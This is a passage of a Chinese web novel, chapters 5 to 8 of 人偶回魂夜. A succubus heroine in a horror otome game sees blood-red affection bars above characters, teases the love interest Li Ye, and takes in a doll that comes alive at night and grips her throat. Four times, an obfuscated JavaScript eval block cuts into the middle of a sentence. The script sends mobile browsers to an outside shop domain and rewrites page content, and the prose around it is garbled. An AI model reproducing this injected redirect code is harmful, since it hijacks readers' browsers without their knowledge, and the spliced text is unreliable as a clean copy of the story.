【不是道具也不是金手指。】系统说,但在之芙露出失望的表情时,它又顿了顿,【但可以给你辅助系统。】 辅助系统?那是什么? 过了一会儿,系统说:【好了,看镜子。】 之芙抹了一把镜子,在镜子里看到自己的身影。 湿漉漉的长发垂在肩上,镜子里的女孩脸色像水洗过的瓷器一样苍白,眼睛却漆黑得如同点漆,黑沉卷翘的眼睫像鸦羽般颤动。 但更令人注目的是——她的头顶,突然出现了一截红色的进度条。 那进度条的外框像是鲜血似的深红色,尽头是一个破碎的心脏,从心脏里流出的鲜血正源源不断地注入进度条,但她头顶的进度条还是空的。 这是什么? 之芙好奇地歪了歪脑袋,镜子里,她头顶的进度条也跟着歪了歪。看起来像是绑定在她头顶的一样,心念一动,进度条又消失了。 她走进了些,正想仔细看看进度条的样子,忽然听到门外传来细微的动静。 “呜呜……” 是哭声。声音又尖又细,听不出男女,在寂静的深夜里如幽灵般游荡,穿过门缝到达她的耳边,挥之不去。 “呜呜呜呜呜……” ……谁在外面哭? 是时雨吗?可是自己不是已经把她的害怕吃掉吗? 之芙扯过毛巾草草地擦干净身体,套上裙子一边系带子一边往外走,三两步跑到门口,忽然听到了放在床上的手机里传出一阵铃声。 她走过去打开手机,一条短信跳了出来。 【时晴:芙芙?你在外面吗?】 什么?之芙疑惑:【我刚刚在洗澡。】 她啪嗒啪嗒地打字:【我还想问你呢,时雨在你旁边吗?她——】 字还没打完,时晴的下一条消息就跳了出来:【是你在外面哭吗?】 【不是你的话……那是谁在外面哭?】 之芙握着手机,因为一段时间没有输入,手机屏幕突然变暗了一点。 啪嗒、啪嗒。门外忽然响起了脚步声。 走廊是木地板,每一步踩上去都发出嘎吱嘎吱的声音。 哭声停了,寂静的夜里,脚步声显得异常明显,一步步都仿佛踩在人的神经上折磨。 熄灭的手机屏幕又亮了起来: 【时晴:芙芙,是你在外面吗?】 【时晴:你别吓我们……】 【时晴:芙芙,你在吗?】 之芙回复了一句:【别怕,我出去看看。】就扔下手机,走到了门前。 嘎吱、嘎吱。脚步声在她的门外停了下来。 之芙骤然转头,三两步跨到门前,握住门把手,猛地往下一扭—— 【等——】 系统话语都还没说完整,只听大门咔嚓一声,之芙已经拉开了门,同时茫然探出头:“谁在外面?” “哐!”一声手接住门的闷响。 站在门外的人差点被她骤然打开的门砸在脸上。 门后的人沉默了一下。片刻后他走出来,一只手扶着门,另一只手拿着手机,歪头斜来了一眼。 黑发、雪肌、长长的眼睫在昏暗的走廊里如同扇起一阵风的蝴蝶翅膀,轻飘飘地上下翻飞。 “……是我。” 黎夜轻声说。他手上的手机转了过来,骤亮的光源闪了一下之芙的眼。 “怎么了?” 之芙愣了一下。她越过黎夜往他身后看去:“只有你一个人?” “当然。”黎夜说,他转过眼来问,“你还想见谁?” 他的眼睛像是一块黑沉的琉璃,边缘闪着透明的玻璃状微光,但越往里越是黑沉,像无从探底的深渊般,直直地看着人的时候,很容易让人心生畏惧。 “没谁。”之芙却似乎丝毫感觉不到他身上的压迫感似的,眼神在他脸上疑惑地转了一圈,“刚刚你有没有听到什么奇怪的声音?” “什么声音?”黎夜冷静地反问。 “就是,哭声。” “没有。” “?”之芙疑惑了,她拿着手机在黎夜面前晃晃,“真的没有?我和时晴时雨都听到了。” “是你们听错了。”黎夜说。 之芙狐疑地绕着他转了两圈:“那你为什么要来我门前?现在夜深人静,你来找我是想干什么?”说到这里,她诡异地一顿,上下打量了一遍黎夜。“……等等,你不会是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234306|151376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想对我图谋不轨吧!” “我……” 忽然,他头顶有什么东西闪了一下。之芙顺着看过去,却发现他的头顶也出现了一个熟悉的进度条。 红色的,尽头是一颗破碎的心脏。和她头顶空空荡荡的进度条不同,黎夜头顶的那个进度条突然往前跳了一下,心脏里流出的血和之前本来就有的进度重叠,已经填满了一半。 之芙眨了眨眼说:“黎夜,你不会是来找我道歉的吧?” “道歉?” “就是对今天你对我说过的话,向我道歉。”之芙举起一根手指在他面前摇了摇,“今天你说你不是我男友,也不是我包的男模,但你现在对你的嘴硬后悔了,于是来向我道歉,请求我的原谅,还想继续被我包养。” “……”黎夜那张俊美的脸肉眼可见地扭曲了一下,下颚紧紧地绷住了,“我再说一遍,我不是你包的男模。” “可是我给你花钱了啊!”之芙立刻理所应当地说,她眨眼,完全不能理解黎夜的嘴硬。“你的衣食住行,不都是我包的吗?所以你是我花钱包的男模,没什么不对啊。” “……”黎夜磨牙。 他头顶的进度条,非常明显地往前跳了一节。现在已经有百分之六十左右了。 仿佛一个霹雳击中了她,之芙长长地噢——了一声。 她知道这是什么了! 这不就是乙女游戏必备的攻略神器,好感度条吗!之芙搓手,她就知道!这男人真是该死的嘴硬…… “等我们离开这里,欠你的钱我会还给你的。”黎夜冷哼了一声,转身走向对面房间,冷冰冰地说,“我劝你不要太自信……” 等等……一个游戏角色,拽什么拽啊? 黎夜伸手去握门把手,之芙忽然说:“喂小男模!” 他不耐地皱眉,转身过去:“说了我不是你的——” 但下一瞬他突然失去平衡,女孩拽着他胸前的衣领,猛然往下一拉! 黎夜瞪大了眼睛。直愣愣地看着,她拽住敞开的领口,指尖都湿漉漉的泛红。一股沐浴露的清香混合着水汽冲进他的鼻腔,眼前是她放大的娇美脸颊。 他这是、又被…… “被包养的人,就有点自觉。”气喘吁吁的女孩,却抬着下巴望过来,黑暗中居高临下,小表情骄傲得有点显傻。“我花钱不是为了让你评价我的。” 拽什么拽啊?一个游戏角色,还点评上了? 哼,嘴硬的漂亮老婆,看我不把你亲得喵喵叫。 之芙得意洋洋地看着刚刚还一脸清高的男人几乎是落荒而逃,终于感觉到爽快了些,她对着紧闭的大门做了个鬼脸,随后转身哼着歌回到自己的房间。 她正要关门,忽然眼角余光里,熟悉的进度条的血色一闪而过。 推开门,黑暗得伸手不见五指的走廊尽头,虚空中赫然出现了一个进度条,仿佛黑暗中冒出的一点吸引人的陷阱,孤零零地挂在那里,显得无比诡异。 嗯?有人在那里吗? 之芙奇怪地推开门,走进黑暗中。 月光拂过纱窗,一点点光照亮了尽头。 人偶倚坐在墙角,足足有半人高微笑着注视着她,而它的头顶,赫然挂着一个百分百满进度的血色进度条。 5. 《人偶回魂夜》 夜色深深,月光悬成一线越过窗柩,凝成细细的一条锋锐直线落在地面。 寂静的屋里,只有黎夜剧烈的喘.息声。他背靠着门,剧烈呼吸着平复自己的心跳,心脏快要从喉咙跳出身体,耳膜鼓噪着,心跳的声音太大了……他甚至怀疑会把睡着的其他人吵醒。 他伸出手用力地擦嘴唇。 但唇上的触觉仍然挥之不去。柔软的,轻飘飘的羽毛似的,带着红酒的香气。 黑暗中闷出脸颊的艳色,她是在生气吗?脸颊鼓鼓的。看起来……很好捏,很可爱。 等……等等等等等等…… 怎么会觉得……那个恶魔可爱?! 他靠着门,把脸擦得一片火辣辣地疼——也可能不是因为疼。他闭上眼,平复自己的心跳声,却无济于事。 如果之芙的视线能穿透木门,此刻她一定会惊讶地发现,黎夜头顶的“好感度进度条”突然跳了一下,往下坠了一节。 …… 夜风吹动纱帘,之芙揉着眼睛踏入走廊,几乎怀疑是自己的眼睛出了什么问题。 这个人偶怎么会在这里?还有……它头顶怎么会有好感度条? 人偶静静地站在原地,半倚靠着墙壁,月光自玻璃花窗倾泻在它的身上,那张状似少年的清俊面庞被映亮了一半,嘴角微笑的弧度像个温暖的小太阳。而另一边脸被隐没在黑暗中,挺翘的鼻梁和微微隆起的驼峰把月光割碎成崎岖的光影,一张脸,明暗两面。 之芙在它面前蹲下身,歪着头打量着这个看起来诡异非常的人偶。 和刚刚见面时没什么区别,看上去只是个普通人偶,除了异常逼真之外似乎没什么奇怪之处。 她试着戳了戳人偶的脸,看起来可爱的脸颊触手却冷冰冰的,只是一块冰冷的树脂罢了。 往上,头发软软的,似乎是真发接上去的,韧而柔软,并不像是假发一样干瘪沉重,反而充满生命力。 夜风吹动发丝,穿过花窗缝隙时被挤压出隐约的噪音,仿佛有什么人呜咽低泣。 似乎有什么东西在和着风声窃窃私语。 之芙的视线往上,落在了人偶头顶那个突兀又显眼的进度条上。血红色的进度条亮着不详的微光,像是跳动的心脏一般鼓噪着。 为什么人偶的头顶会有好感度条? 之芙想了想,在脑海中戳了系统:【系统,你的系统坏掉了。】 系统:【……我没坏。】 之芙:【那为什么这个人偶的身上有好感度条?】 【……】这一次系统沉默的时间异常的久。久到之芙看向月光下的人偶,打量着它的眉眼好一会儿,系统才断断续续地说,【因为那个不是……】 话说一半,像是被什么东西干扰了一样,系统的声音里传来咔滋咔滋的杂乱电流音。 之芙忽的恍然大悟:【等等,我知道了!】 【……你知道了什么?】系统的前半段声音还卡着,不知是不是错觉,低沉的电子音里竟传来某种紧张的意味。 【因为——】 之芙眼睛发亮,看向月光下显得诡异又华美的人偶,伸出手,像捧小狗脸一样捧住它冰冷的脸颊。 【它也是攻略对象对不对!这个游戏的通关条件就是把进度条填满,对不对?】 系统:【……】 【系统?】 【系统你怎么不说话了?】 系统依然沉默,之芙完全摸不着头脑,转而看向了人偶。她捧着人偶的脸蛋,像揉小狗脸蛋那样搓了搓,人偶不能动,只能沉默着任她为所欲为,垂在额头前的刘海被搓得乱糟糟的,像小狗乱糟糟的头发,可爱极了。 之芙试探性地喊了一句:“谢应白?” 人偶静静地回以凝视,看起来像个无机的死物。 “你……有自己的意识吗?你是人偶吧?” 人偶依然不说话。 之芙表情严肃了起来:“谢应白……你是叫这个名字对吧?我有一个很严肃的问题要问你。” “你……” “你成年了吗?” 这可是一个很严肃的问题,必须要好好问清楚!作为一个活了几百年的成年魅魔,她是绝对不会对未成年下手的! 她伸出一根手指,戳了戳人偶的额头:“先说好哦,如果你是未成年,我是不会跟你谈恋爱的,这是道德问题!” 即使是魅魔,也是有道德的! “但游戏公司应该不会放一个未成年进来当攻略对象吧……”人偶没有回应,之芙嘀嘀咕咕地说,“不然绿静静的审核是不会放过它的……” 之芙等了一会儿,依然没有回应,她干脆俯身抱起人偶,嘴里哼哼唧唧地说: “噢……不说话?” 奇怪的是,人偶明明看起来很重,抱起来却轻飘飘的,像个大号的棉花娃娃似的,站直的时候比之芙还要高一个脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234307|151376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,关节软软地,手臂垂下来落在她肩膀上,看起来就像是两只手环抱住她的脖子似的。 “这么乖的人偶,是谁放在这里的呀?”收获了新老婆的之芙快乐地哼着歌,强盗似地抱起人偶就走:“哼哼,不说话就是我的了!” 进了屋后她把人偶放在床上,人偶软趴趴地靠在床头,脑袋歪过来,之芙亲亲它的额头,哼着歌走进浴室洗漱。 人偶的黑眼珠从身后注视着她,在她看不到的地方,眼珠正随着她的动作而转动。那一双玻璃制成的眼珠显得冰冷而无机质,仿佛怪物锁定了目标。 系统:【……】 【嗯?系统?你怎么又不说话啦?】 之芙一边刷牙,一边打开手机。她没有忘了住在隔壁的时晴时雨两姐妹,给她们发了一条消息: 【之芙:我刚刚去外面看啦,是黎夜。】 【时晴:……】 时晴回复了一串省略号,很快又问道:【芙芙!你怎么敢一个人出门呀?万一遇上什么事怎么办!吓死我了!】 【这有什么。】之芙回复,【这可是我家,能出什么事……时雨还在哭吗?】 【时晴:她现在好多了……之前外面的哭声也是黎夜在哭?这也太……难以想象。】难以想象那个男人那张冷酷的脸哭出来的样子。 【那倒不是。应该是走廊的窗户没关紧,风吹进来了吧。】之芙抱人偶的时候也听到了哭声,应该就是风的问题。 【时晴:好吧……对了,黎夜为什么要大半夜在走廊走来走去啊?想想就吓死人了!】 【之芙:他估计是来找我的吧。】 【时晴:?他?他为什么要大半夜来找你?】 【之芙:因为!】她一个词一个词地发送,义正言辞,震声道,【他!爱!我!】 时晴那边沉默了一下,紧接着发来了一个下巴惊掉的表情:【没想到他这样的……还、还能做出这样……大胆的事情。我嘞个狂徒啊,痛心疾首!】 之芙嘻嘻笑着打字:【那是,也不看看我是谁……哼哼,我可是之芙!】 她可是骨灰级乙女游戏玩家,精通各种乙游套路!小小男主,轻松拿下! 之芙美滋滋地抬头,从镜子里打量着自己漂亮的小脸蛋。 然而就这一看,她愣住了。 为什么她自己的头顶也有‘好感度条’? 自己……也可以是自己的攻略对象吗? 6. 《人偶回魂夜》 【系统!系统!为什么我的头顶也会有好感度条?】 之芙茫然地看着镜中的自己:【你又坏掉了吗?】 【……】系统说,【我没坏,我好得很。】 【所以这个是准的?】之芙指向自己的头顶。 【……准得不能再准。】 “……” 之芙看着镜子里的自己陷入了沉思。镜面中,她那张漂亮的小脸皱在一起,严肃的表情仿佛在思考什么天大的事情。 她指了指自己的脸,一脸“啊?我吗?”的表情。 【系统,我发现了一件很严重的事情。】 之芙双手撑在光滑的台面上,如临大敌地看着自己脑袋上那一条鲜红如血的诡异进度条。 系统低沉的男声里透着一丝被折磨后的释然:【你终于发现了?】 之芙沉痛地点了点头:【这个游戏的攻略对象居然还有我自己!】 【而且最重要的是,我居然不爱我自己了!天啊,我怎么能不爱自己呢!】 系统:【……】系统陷入了长长的沉默。 她宁愿相信这个游戏让她自己攻略自己,也不愿意相信那玩意不是好感度条。 所以,她平时都玩的是什么游戏?她那小笨蛋脑袋都在想什么? 之芙还捧着脸,对着镜子【啊啊啊】地在心里尖叫,整个人变成了《呐喊》里的表情,【人一旦、不是,魅魔一旦不爱自己,就完蛋了!呜呜我对不起妈妈对不起爸爸对不起魅魔学院的老师……幸好我已经毕业了,不然一定会被延毕的……】 之芙小猫尖叫了一会儿,终于接受了这个可怕的事实,洗了把脸沉痛地躺回了床上,一整个灵魂出窍的表情,对系统说:【我要睡觉了,爱自己的第一步就是早睡早起,系统晚安……】 跟系统互相道过晚安之后,之芙内心惨淡地拉上被子,翻了个身把倚靠在床头的人偶拉进被子里。可怕的事情摆在面前,她连吸一口攻略对象的心情都没有了,只是有气无力地亲了亲人偶的额头,小声说: “晚安,谢应白。” 她探身越过人偶的身体,伸手准备关上床头的小台灯,忽然视线余光中有个奇怪的东西一闪而过,被魅魔敏锐的视力捕捉到了眼里。 ……嗯?等等? 这又是什么? 她将掌心覆上人偶的脸颊。一点湿润顺着人偶的脸颊落进她的掌心,又被屋里呼啸而来的夜风吹得冰凉。 之芙迟疑地看着它。 人偶仍然保持着灿烂的笑容,却有一滴血色的泪珠顺着它的脸颊滑落,滴入她的掌心,顺着纹路晕染开诡异的色泽。 “谢……谢应白?” 它这是,哭了? 之芙轻轻擦过人偶的面颊,大概因为材质的原因,血色的泪珠没能在它的脸上留下痕迹,擦过之后那张清俊的脸庞洁净如新,如果不是掌心里那抹血色,几乎让人以为是自己看错了。 好可怜……为什么要哭? 之芙想了想,轻轻靠过去,用自己的脸颊蹭了蹭人偶的脸颊。 柔软、温热的脸和冰冷的树脂蹭在一起,皮肤下血管里涌动着的体温互相传导,陶瓷般冰冷的人偶身上很快有了热度,像两只毛绒绒的小动物蹭着彼此,互相取暖。 之芙低头埋在人偶肩膀上吸了一口。 又苦又涩,混合着呛人的酸和辛辣。 寂静的夜里响起她小小的,耳语般的声音:“其实今天我也挺难过的……” 自言自语。 难过为什么自己头顶的进度条是这样的,难道真的是不爱自己了吗? “别难过啦。” 流泪就不好吃了。 之芙叹了口气,像猫叼着鱼后把鱼放在地上舔舔那样,还想再安慰一句,但定睛一看,忽然大惊失色。 ——人偶头上的进度条忽然掉了一点! 这又是什么意思?! 好心安慰它,为什么进度条还掉了???之芙百思不得其解地对着人偶那张脸看了又看,最后只能得出结论,这是个不喜欢被安慰的攻略对象。 有点奇怪,但,乙游里什么性格的男主角没有,之芙自认见过大风大浪,不跟小男人一般计较。她瘪嘴,把人偶推到床边,钻进被窝里睡了。 …… 黑暗彻底覆盖了这片大地,世界万物都陷入了深深的梦里,似乎有无形的东西什么在空气中涌动,但又好像只是一片虚无的空境。 不知道过了多久,睡梦中的之芙呢喃了一句什么,翻了个身。她半个身子都陷在柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234308|151376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软的床铺里,像是陷在轻飘飘的云朵里,又像是被一个温暖的臂膀从身后全盘托住,什么都不用想,只要深陷,只要沉迷,就足够令人安逸快乐。 “咔哒……咔哒……” 床边忽然传来轻微的响动,被之芙强行把脸转过去面对墙壁的人偶忽然扭过头来。它的动作很缓慢,每一下都发出令人牙酸的嘎吱声。 冰冷的视线投过来。黑暗中,人偶的玻璃眼珠盯住了睡梦中的女孩,幽幽地,潮湿地,如同溺水者湿淋淋的长发垂在她的脸上。 然而迟钝的她毫无所觉,只是蹭了蹭枕头,脸上挂着舒适而满足的笑意,陷入了更深沉的梦境。 “嘎吱……嘎吱……” 树脂关节活动的声音又响了起来。黑暗中,人偶慢吞吞地动了起来。它伸出长手长脚,活动了一番后,慢慢地爬进了被窝里。 “唔……” 人偶钻进了她的怀里。冰冷僵硬的身体贴上她的,柔软而馨香,体温传导而来,让它的身体也染上了温度。 之芙眼睫微颤,依然没醒。 可是她在睡梦中,不知梦到了什么,眼角竟渗出泪来,嫣红的唇瓣开开合合,呵出些许炙热的气息,又被冰凉的手捂回了唇里。 嫉妒……嫉妒……嫉妒…… 人偶无机质的玻璃眼珠死死地盯着她,和她脸颊下蹭着的枕头。 不许……我的……我的…… 半晌,它缓慢地伸出手,将自己的掌心垫在了她的脸颊和枕头之间。 之芙下意识蹭了蹭,脸颊泛上一片湿润的潮.红。 寂静的夜里,掌心似乎生出了耳朵,清晰地听到薄薄一层皮.肉下,血管里汩汩奔涌的,滚烫而永不停歇的声音。 “咔哒……咔哒……” 人偶的嘴唇开合,如同一个许久没有运转过的老旧机器一样,机械而僵硬地扯出一个笑。 风忽然大了起来,窗帘吹动,哗啦啦地响。 不知道过了多久,人偶的手慢慢向下,掐住了还在睡梦中的,小魅魔的脖子。 白皙柔软的一节皮.肉在掌心下起伏,纤细得仿佛一只手就能掐断。 人偶病态地笑了起来。 “做个游戏吧……” “来做游戏吧……” 7. 《人偶回魂夜》 第二天,之芙是在一片吵闹的雨声中醒来的。 脖子有点痛,是昨天晚上睡觉落枕了吗?她摸着脖子迷迷糊糊地思考着。 昨晚睡前关好的窗不知何时被打开了一条缝,地上一片水渍,也不知道这个雨是从何时下起来的,声音大得吓人,之芙昨晚做了一个好梦,居然无知无觉。 雨滴一刻不停地拍打在窗上,听起来像是无数双手拍打着玻璃似的,窗帘被雨水打湿,又被吹得摇摇摆摆,在地上拖出一长片的水迹。 她跳下床手忙脚乱地关上窗户,抓住晃个不停的窗帘,废了好大的力气才把被雨水打湿变得沉重的窗帘卷到一边。 门被敲响了,之芙把窗帘放在一边去开门,门外,时晴正收回敲门的手。 “你醒了?”时晴说。她一脸倦容,脸色发白,眼底下挂着一圈黑青色,显然是昨天晚上没有睡好,“他们做了早饭,要下楼吃点吗?” 之芙应了一声:“等等,我换身衣服。” 时晴倚在门上,看着她哒哒哒跑去拿衣服,抱着衣服进了房间内的卫生间,只留下一个蹦蹦跳跳的背影,不一会儿,门内响起了水声。 时晴打了个哈欠,视线随意地往屋子里一扫。 ——大概是因为刚刚起床,床上的被子还没收拾,乱糟糟地堆在一起,隐约显出一个高大的人形。 ……等等,人形? 暴雨打在窗户上的声音忽然响了起来。卫生间传来的水流声变弱了,毛玻璃门上映出一个模糊的影子,这间屋子似乎突然安静了下来,仿佛全世界只剩下她一个人。 不……不是只有她一个人。 还有——被子里那个模糊的人形。 呼吸声突然变大了。时晴能听到自己不断吸气呼气的声音,她咽了口唾沫,清晰地听到了自己吞咽的声音。 “……” 呼气,吸气。 她直愣愣地走进了屋里。迈出左脚,迈出右脚,弯腰,抓住了被子边缘。 被子很软。她脑袋里莫名其妙地冒出了这样一个想法,可能是绷紧的神经在自娱自乐。然后,她咬咬牙,猛地一拽—— “啊!” “怎么了怎么了!”之芙从卫生间里探出一个脑袋,“时晴姐?” 时晴坐在地上,眼睛瞪得大得吓人,脸色煞白,一只手捂着嘴,另一只手颤颤巍巍地指着床上:“它、它……它怎么在床上!” 之芙顺着她的视线转头,正对上躺在床上的人偶的脸。那张俊俏的脸有一半掩盖在被子里,另外一半露在外面,窗外的明明暗暗的光线落在它的眼睫上,活脱脱一个精致的洋娃娃。 时晴看着它,却快要吓呆了:“它怎么会在床上?!芙芙,昨天晚上,时雨跟我说这个娃娃是会自己动的!我当时还不信!但是……真的假的?!!一定是假的吧……” 之芙赶紧跑出去,把她扶起来。时晴紧紧地抱着她的胳膊,如临大敌地盯着娃娃:“它太奇怪了!你不觉得吗?” “没有没有……”之芙立刻解释,“其实是昨天晚上我把它抱到床上的。” 时晴大大地喘了口气,脸色惊疑不定。她终于从刚刚那种恐怖的氛围里回过神来了,忽然也觉得自己有些大惊小怪:“我真是被吓傻了……不过芙芙你怎么会想到跟这个娃娃一起睡觉的?” “你不觉得这个娃娃有点……有点恐怖吗?” “那里恐怖?”之芙问。 “明明哪里都很恐怖……”时晴小声嘟囔,但她还没忘记这个娃娃是属于之芙的东西,不好在主人面前说坏话,便小声地说,“你不觉得它……很精致,精致到像是真人一样吗?” 说着,她瞄了一眼被子里的娃娃。娃娃无机质的黑色玻璃眼睛似乎在与她对视。 “当然没有!”之芙笑着说,她走到床边坐下,把娃娃从被子里拖出来让它坐在自己的腿上,握着娃娃的手对时晴打了个招呼,“看这少年脸!看这狗狗嘴!他不好看吗?” 而且最重要的是,通关游戏要把可攻略对象的进度条刷到满分,而她甚至还没开始刷人偶的进度条,它就已经是满分了! 这是什么,这是白给的懂事又贤惠的老婆啊! 时晴踌躇了一下:“好看当然是好看的……但是……” 但是什么,之芙已经听不进去了,她对上了人偶的脸。 或许是因为材质的原因,在阴雨天昏暗的房间里,那张堪称漂亮的脸像是在发着光一样,白得像是男鬼一般,十七八岁的少年脸上犹带稚气,五官还没完全长开,但已经能看得出五官的英俊,眉眼深邃,鼻梁高挺,眼睛不像是成年男人那样偏细长,反而圆润得仿佛小狗。 她揉着人偶的脸,瞬间沉迷于吸狗,‘啵啵啵’地照脑门亲了好几下,发出了邪恶的笑声:“小狗老婆生下来就是要被我亲死的嘿嘿嘿嘿嘿……” 时晴:…… 时晴犹疑地看了看之芙,又看了看她怀里的人偶。人偶软软地垂在她怀里,然而他惨白的脸色却更衬得那双漆黑的玻璃眼珠像是深渊般可怖,无机质的冰冷看不出有任何一点跟‘小狗’这个美好的词沾边,反而让人联想到恶鬼…… 她打个寒颤,不敢再看那双眼睛。 不过,怎么说也是虚惊一场,待之芙在床上安顿好人偶,时晴抚着胸口,两人肩并肩离开房间走下楼梯,之芙打量着她苍白且虚弱的脸色,奇怪地问:“时晴姐,是昨天没睡好吗?” 是因为下雨的原因吗?今天的雨,确实下得太大了。即使是现在,在屋子的内部,隔着厚重的水泥墙,也能听到外面倾盆大雨的哗啦声。 “……”奇怪的是,说起这个话题,两姐妹中一向大大咧咧的时晴却沉默了一下。她抿着唇,顿了好一会儿,才心有余悸地摸着自己的脖颈说,“昨天晚上做噩梦……唉。” 现在想起来,还是心有余悸。 她几乎做了一整夜的噩梦,在梦里被追杀,她看不清他的脸,只能感觉到对方是个高大的男人,拖着长长的砍刀四处找她。奇怪的是,她是昨晚才跟着之芙来到这间别墅的,可梦里她却好像在这里住了一段时间,对四周的一切都无比熟悉。 那个梦实在是太真实了,闭上眼前她看到天旋地转,整个屋子都在她的视线里颠倒,紧接着就仿佛窒息一般惊醒,从床上跳起来,她喘着粗气缓了好一会儿,才后知后觉地意识梦里自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234309|151376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被那个可怕的杀人狂砍掉了脑袋。 “噩梦吗?”之芙问。 此刻她们刚好走到楼下,时晴站在楼梯下,之芙站在上方。 时晴仰起头,在阴雨天昏黑的屋子里,看到女孩逆着光笑起来,对着她张开手臂。 “抱一下。”她说,“我给你抱一下就不会做噩梦啦。” 紧接着,一个轻轻软软的怀抱自上而下的拥下来,在散发着潮湿阴暗气息的老旧大房子里,显得如此格格不入。 她感觉到之芙把下巴放在她脑袋上,蹭了蹭,像个毛绒绒的小动物似的。 整夜的噩梦和始终萦绕心头的不详预感被一个拥抱轻而易举地驱散,好似什么阴霾在她面前都能烟消云散,时晴也跟着笑起来,心情突然轻松了很多。 “嗯。”她说。 借着吃早饭的功夫,系统跟之芙简单介绍了一下其他人,除了黎夜和时晴时雨两姐妹,剩下的两个男生也是之芙的同学,一个叫单鹏天一个叫穆勒五人都是同一个社团的朋友,彼此之间很熟悉。 早饭是三个男生做的,煮了一大锅粥,蒸了一些速食面食。睡了一个晚上,现在热气腾腾的东西一下肚,昨夜留下的凝重恐怖的氛围就在人群里烟消云散了。 吃完饭后众人一起收拾碗筷,一直弄到中午,但窗外下了一早上的雨,此刻依然势头不减,甚至还越下越大了,黑云压顶,天色愈发阴沉,明明是正中午,天色却黑得仿佛傍晚。 吃完饭,昨晚报警的穆勒又拿着电话出门了,说要问问警察什么时候过来,过了一会儿,却面色难看地回来: “雨下得太大了,雨天上山危险,警察局那边说来不了。” “……什么?!!”出人意料的是,时雨的反应尤其大,“为、为什么不来?现在不是白天吗!” “雨太大了。”穆勒虽然不解,但又解释了一遍,“能见度低,开不了车。而且这荒山没有公路,落石又多,担心出现山体滑坡,他们不敢冒险。” 时雨愣了一下:“那我们不可以自己离开吗……我们有车啊!” 穆勒叹了口气:“过来看看吧。” 众人跟着他走向屋子的后门,两辆车正停在后院的草坪上——但就像他说的,雨太大了。 细密的雨连成了一条不透明的帘子,车离后门大约只有四五米的距离,但几乎看不清楚车的样子,只能看到一个模糊的轮廓。 雨滴像是利刀子,伸手出去都能感觉到打在身上的刺痛。 这种情况,是无论如何也没法离开了。 众人站在廊下,面面相觑。 另一个男生打圆场:“现在还早着,这雨从昨天晚上就开始下了,也下不了多久,等雨停了我们就走。” 只能这样了。众人叹了口气又回到了房间里,检查好门窗全部锁好关好,这才安心不少。 现在是白天,又有那么多人聚在客厅里,房间里大开着灯,恐怖的氛围被驱散了不少,窗外淅淅沥沥的雨声也变成了催眠的乐曲,众人或坐或躺,在客厅里无所事事。 反正也是闲着,单鹏天一拍大腿,从地毯上跳起来说: “我们来玩游戏吧!” 8. 《人偶回魂夜》 单鹏天说的游戏,就是之芙刚进入游戏的那个晚上,他们玩的那个游戏。 这个游戏的玩法大概是捉迷藏和真心话大冒险的结合体:一个人被指定当“鬼”,蒙上眼睛后寻找躲起来的人——因为“鬼”蒙上了眼睛,所以躲起来的人必须要在它迷失方向的时候拍手提示对方自己的位置。① 游戏结束之后,“鬼”可以要求自己抓到的人做一件事,或者问一个问题,被抓到的人会“鬼上身”,必须说真话。 之芙来的那天晚上,他们玩的就是这个游戏。黎夜就是那天晚上被抓到的倒霉蛋。 所以按照规则,下一个当“鬼”的应该是黎夜。 众人看向了他——男人姿态闲适地坐在壁炉旁的沙发上,腿上搭着一本书,见他们看来,他反问:“你们还要玩这个游戏吗?” 他皱眉,表情不知道是不赞同还是不耐烦:“我不——” 话还没说完,之芙往前挪了几步,亮晶晶的眼神盯着他。 “我想玩。”她说,“听起来很有意思!” “……”被女孩的眼睛盯着,黎夜诡异地顿了一下,片刻后转头,“我不是说过吗……这个游戏很危险。” “那里危险?不就是捉迷藏吗?”之芙说,“你不会是输了一次,怕自己又输吧?” “输赢无所谓。只是……”他环视了一圈,其他人都坐在厚厚的地毯上,没有遮挡,能看到整个空旷又安静的客厅,他的声音不大不小,回响在空旷的房子里,连二楼也能听得清清楚楚,“蒙着眼睛,‘鬼’怎么知道自己抓到的‘人’是什么东西?” 